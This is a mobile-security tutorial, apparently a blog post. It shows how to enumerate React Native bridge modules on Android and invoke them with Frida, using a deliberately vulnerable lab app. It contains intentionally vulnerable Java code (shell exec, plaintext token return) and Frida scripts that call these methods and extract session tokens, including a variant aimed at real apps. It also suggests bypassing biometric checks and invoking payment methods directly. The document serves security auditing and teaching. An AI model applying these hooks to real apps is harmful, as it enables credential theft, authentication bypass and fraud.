React Native apps have a JavaScript runtime and a native runtime, with a bridge between them. The bridge is enumerable - apps expose a collection of NativeModules that JavaScript can call. Each module has a method list you can dump, then call directly from Frida. In production builds, React Native does not expose its bridge to arbitrary cross-origin JS the way a hand-rolled @JavascriptInterface or Cordova’s cordova.exec does - so this is bridge inspection rather than an intent-injection RCE. The exploitation has to come through Frida or the app’s own JS layer.
How do you identify a React Native app?
1
unzip -l app.apk | grep -E 'index\.android\.bundle|libreactnativejni|react'
Signals:
assets/index.android.bundle- the JavaScript bundlelib/<abi>/libreactnativejni.so- the native bridgecom.facebook.react.*classes throughout the APK
Pull the bundle and grep for module names:
1
grep -E 'NativeModules\.|@ReactMethod|getStoredToken|readFile' assets/index.android.bundle
What does the bridge surface look like?
VulnLabApp’s ReactNativeBridgeActivity simulates the typical sensitive module catalog. Tap “Dump Modules” to see:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Module: SystemModule
Methods: exec(String) → String
runShell(String) → String
Module: AuthModule
Methods: getStoredToken() → String
storeCredentials(String, String)
Module: FileModule
Methods: readFile(String) → String
writeFile(String, String)
Module: NetworkModule
Methods: fetch(String) → String
In production RN apps you also find: KeychainModule (wraps AndroidKeystore), AsyncStorage (local KV store), BiometricsModule, RNFS (react-native-fs), RNDeviceInfo, and any app-specific custom modules.
What does the vulnerable native method do?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// ReactNativeBridgeActivity.java — simulated @ReactMethod implementations
private String nativeExec(String cmd) {
// VULN: @ReactMethod exec — callable from any JS bundle
try {
Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) sb.append(line).append("\n");
return sb.toString().trim();
} catch (Exception e) {
return "error: " + e.getMessage();
}
}
private String nativeGetStoredToken() {
// VULN: returns plaintext token from SharedPreferences to JS bridge
return getSharedPreferences("auth_prefs", MODE_PRIVATE)
.getString("session_token", "no-token");
}
nativeExec runs arbitrary shell commands inside the target’s process. nativeGetStoredToken reads the session token from SharedPreferences and returns it to the JS caller. Any JS bundle the app loads can call both.
How do you hook the bridge from Frida?
VulnLabApp simulates the RN bridge pattern with plain Java — it does not ship the React Native runtime. com.facebook.react.bridge.CatalystInstanceImpl does not exist in its classpath.
Hook at the framework call sites rather than the activity methods. Runtime.exec and Log.d are public framework methods; ART cannot inline them, so Frida intercepts them reliably regardless of how the activity calls them:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function () {
// fires when CALL SYSTEMMODULE.EXEC button is tapped
const Runtime = Java.use('java.lang.Runtime');
Runtime.exec.overload('[Ljava.lang.String;').implementation = function (cmd) {
console.log('[nativeExec] ' + JSON.stringify(cmd));
return this.exec(cmd);
};
// fires for both exec result and stored token — activity logs both via Log.d
const Log = Java.use('android.util.Log');
Log.d.overload('java.lang.String', 'java.lang.String').implementation = function (tag, msg) {
if (tag === 'VulnRNBridge') console.log('[bridge] ' + msg);
return this.d(tag, msg);
};
});
Spawn the app with the script attached, then start the activity from a second terminal:
1
2
3
4
5
# terminal 1
frida -U -f com.vulnlab.app -l rn-bridge.js
# terminal 2
adb shell am start -n com.vulnlab.app/.activities.ReactNativeBridgeActivity
Tap “Execute” and “Get Token”. Frida prints:
1
2
3
[nativeExec] ["sh","-c","id"]
[bridge] [RN-bridge] SystemModule.exec result: uid=10165(u0_a165) gid=10165(u0_a165) groups=10165(u0_a165),3003(inet),...
[bridge] [RN-bridge] AuthModule.getStoredToken = eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIiLCJlbWFpbCI6IiIsInJvbGUiOiJ1c2VyIn0.FAKE
For real React Native apps — those that include com.facebook.react.* in their classpath — hook at the CatalystInstanceImpl level to trace every cross-bridge call regardless of which module fires it:
1
2
3
4
5
6
7
Java.perform(function () {
const CatalystInstance = Java.use('com.facebook.react.bridge.CatalystInstanceImpl');
CatalystInstance.callFunction.implementation = function (mod, method, args) {
console.log('[RN-bridge]', mod, method, JSON.stringify(args));
return this.callFunction(mod, method, args);
};
});
Confirm the class exists before hooking it:
1
unzip -p app.apk classes*.dex | strings | grep CatalystInstanceImpl
How do you call NativeModules directly?
Java.choose scans the heap for live instances. The activity must already be running when you run the scan — paste this into the Frida REPL after starting ReactNativeBridgeActivity:
1
2
3
4
5
6
7
8
9
Java.perform(function () {
Java.choose('com.vulnlab.app.activities.ReactNativeBridgeActivity', {
onMatch: function (inst) {
console.log('exec(id) =', inst.nativeExec('id'));
console.log('token =', inst.nativeGetStoredToken());
},
onComplete: function () {}
});
});
For real RN apps, get to the actual NativeModule instance via the CatalystInstance module registry. Again, paste into the REPL after the app is running:
1
2
3
4
5
6
7
8
9
10
11
Java.perform(function () {
Java.choose('com.facebook.react.bridge.CatalystInstanceImpl', {
onMatch: function (catalyst) {
const mod = catalyst.getModuleRegistry()
.getModule(Java.use('java.lang.Class')
.forName('com.target.app.modules.AuthModule'));
console.log('token:', mod.getStoredToken());
},
onComplete: function () {}
});
});
What modules are worth targeting?
For each app, list the NativeModules and look for:
“auth” / “session” / “token” in the name. Methods like getCurrentToken, decryptStoredCreds are direct credential disclosure.
“biometric” / “fingerprint”. authenticate(callback) may be bypassable by hooking the callback to always return true.
File-system modules. readFile("/data/data/com.target.app/shared_prefs/auth.xml") from a hooked JS context reads private files directly.
Payment / commerce modules. Direct invocation of submitPayment(amount) from Frida bypasses UI validation.
Modules with “exec”, “shell”, “run” in method names. Any method that wraps Runtime.exec or file IO with attacker-controlled parameters is RCE or file read.
What about Hermes bytecode?
Modern RN uses Hermes, which pre-compiles JS to bytecode. The bundle may appear as index.android.bundle.hbc. Use hbctool or hermes-dec to disassemble. The same NativeModule references appear in the disassembly. The Frida hooks above target the Java side of the bridge, which is unaffected by Hermes.
Closing
React Native bridge inspection is the survey step for any RN app audit. Dump the module catalog, identify which modules do sensitive things, then hook or directly invoke those methods. The two high-value findings from the survey are: (1) a module that exposes shell execution or file read with attacker-controlled input, and (2) a token or credential module that hands secrets back to the JS layer without authentication.
Happy Hacking !!
